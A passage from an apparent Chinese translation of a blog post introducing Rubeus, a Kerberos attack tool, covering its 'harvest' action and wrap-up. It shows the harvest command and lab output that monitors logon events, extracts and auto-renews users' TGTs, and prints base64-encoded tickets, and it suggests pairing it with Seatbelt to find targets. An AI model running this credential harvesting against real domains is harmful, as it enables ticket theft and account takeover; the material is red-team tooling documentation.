EncodedTicketSize : 1470
Base64EncodedTicket :
doIFujCCBbagAwIBBaE...(snip)...
[*] Extracted 1 total tickets
注意此操作需要运行于管理员权限!
harvest
harvest 操作比 monitor 操作更进一步。它将持续地监视登陆日志中的4624事件,每间隔 /interval:MIMUTES 指定的时间,就针对新的登录事件,进行新的 TGT KRB-CRED 文件的提取,并将提取的 TGT 进行缓存。在 /interval 指定的时间间隔内,任何将在下一个时间间隔到期的 TGT 都将被自动续订(直到他们的续订期限),并且当前缓存的可用 / 有效的 TGT KRB-CRED .kirbis 文件将以 base64 编码的 blob 数据格式输出。
这就允许你在不用打开 LSASS 进程的读取句柄的情况下,收集系统中的可用 TGT。但是记住,提取票据的操作需要管理员权限。
c:Rubeus>Rubeus.exe harvest /interval:30
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v0.0.1a
[*] Action: TGT Harvesting (w/ auto-renewal)
[*] Monitoring every 30 minutes for 4624 logon events
...(snip)...
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[*] 9/17/2018 6:43:02 AM - Current usable TGTs:
User : dfm.a@TESTLAB.LOCAL
StartTime : 9/17/2018 6:43:02 AM
EndTime : 9/17/2018 11:43:02 AM
RenewTill : 9/24/2018 2:07:48 AM
Flags : name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFujCCBbagAw...(snip)...
注意此操作需要运行于管理员权限!
此功能可以和 Seatbelt 的 4624Events 功能完美配合, 4624Events 将解析最近七天内的4624登录事件,如果其中有感兴趣的用户以特定登陆类型定期进行认证的话,就会有可收集的 Kerberos TGT,harvest 功能可以帮你获取这些凭证。
Wrapup
这个项目凝聚了血汗和泪水(Kerberos相关部分带来的),现在我怀着激动的心情将它交给攻击专家们。希望我们都开始拥抱 Kekeo 的强大功能,即使它是另外一个项目。
注意,此代码还是beta版,它已经在有限的环境中进行了测试,但我确信肯定还存在很多 bug 和问题。:)